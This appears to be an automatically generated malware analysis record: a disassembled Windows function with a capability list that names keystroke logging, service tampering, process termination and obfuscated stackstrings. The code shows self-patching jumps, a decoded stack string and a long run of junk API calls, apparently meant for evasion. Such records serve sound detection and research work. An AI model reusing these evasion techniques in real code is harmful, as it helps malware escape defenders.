Function at 0xa92000
Capabilities:
Accept command line arguments
Clear file content
Contain obfuscated stackstrings
Create pipe
Enumerate files on windows
Get common file path
Get disk information
Get geographical location
Get graphical window text
Log keystrokes
Log keystrokes via polling
Modify service
Query environment variable
Read .ini file
Start service
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x10], 0xa928c6
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa92036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa921aa
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa920b8
call fcn.00470382
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9207a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa92094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa92094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9204a
mov byte [ebp - 0x64], 8
mov byte [ebp - 0x63], 0x71
mov byte [ebp - 0x62], 5
mov byte [ebp - 0x61], 0x6c
mov byte [ebp - 0x60], 0
mov byte [ebp - 0x5f], 0x77
mov byte [ebp - 0x5e], 3
mov byte [ebp - 0x5d], 0x27
mov byte [ebp - 0x5c], 2
mov byte [ebp - 0x5b], 0x77
mov byte [ebp - 0x5a], 1
mov byte [ebp - 0x59], 0x80
mov byte [ebp - 0x58], 6
mov byte [ebp - 0x57], 0x7b
mov byte [ebp - 0x56], 9
mov byte [ebp - 0x55], 0x78
mov byte [ebp - 0x54], 4
mov byte [ebp - 0x53], 0x88
mov byte [ebp - 0x52], 8
mov byte [ebp - 0x51], 0xc5
mov byte [ebp - 0x50], 0x9d
mov byte [ebp - 0x4f], 0xfb
mov byte [ebp - 0x4e], 0x22
mov byte [ebp - 0x4d], 0x1b
mov byte [ebp - 0x4c], 0x53
mov byte [ebp - 0x4b], 0xf2
mov byte [ebp - 0x4a], 7
mov byte [ebp - 0x49], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa9213a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1c
jae 0xa9219f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x64]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa92166
mov dword [ebp - 0x24], 8
mov eax, dword [ebp - 8]
add eax, 6
mov dword [ebp - 8], eax
jmp 0xa92132
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x63]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa9218e
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa9217b
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x64]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa92132
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa8797a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040790c
mov ecx, eax
call fcn.00402abb
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402a5f
and dword [ebp - 0x1c], 0
jmp 0xa921e2
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa921f2
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa921db
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0xbb2
push 0x121c
push 0x732
push 0x2263
push 0xf00
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0
push 0
push 0x11a2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x26c7
push 0x2393
push 0x2033
push 0xbee
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x2464
push 0x36b
push 0x18
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0x1e6d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0x18bf
push 0x1d59
push 0x1eb1
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0x188f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x1e8a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x14a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0x11c8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xa40
push 0x1529
push 0
push 0x1712
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0x363
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0x1b8c
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
call dword [sym.imp.KERNEL32.dll_GetACP]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0x1b8
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0xba5
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
push 0x26d4
push 0
push 0x79
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0
push 0x2057
push 0x2243
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0
push 0x6bc
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0x1cc8
push 0
push 0
push 0
push 0x9de
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0x385
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0x1779
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0xe87
push 0x14ad
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x119d
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0x916
push 0x150c
push 0
push 0
push 0x257e
push 0x7c3
call dword [sym.imp.USER32.dll_ToUnicode]
push 0
push 0x1de4
push 0
push 0x2118
push 0xa8b
push 0
push 0x1ada
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
push 0
push 0
push 0x22ff
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0x14c6
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0x745
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push 0x17dc
push 0
push 0x116d
push 0
push 0x19d4
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0
push 0x2336
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x97d
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
push 0xd02
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x238e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x17a4
push 1
push 0x806
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x26e0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0xfa7
push 0x1aea
push 0x266
push 0x102
push 0xe15
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x11fa
push 0xd65
push 0x1730
push 0x13a9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0x1ca6
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x22a
push 0x24cd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x1bf6
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 0x1aab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0x62
push 0x19f4
push 0
push 0x122c
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0x236e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0x21a8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0x2065
push 0x2553
push 0x19a2
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0x179b
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0xfc0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0x1fea
push 0
push 0x18f0
push 0x1d50
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
push 0xc0c
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0xf9c
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
push 0x13ee
push 0
push 0x1e42
push 0xf56
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
push 0x1c13
push 0xba1
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0x759
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0x165e
push 0x1006
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0
push 0
push 0x14b1
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x23d3
push 0x4a7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
jmp 0xa928d0
mov esp, ebp
pop ebp
ret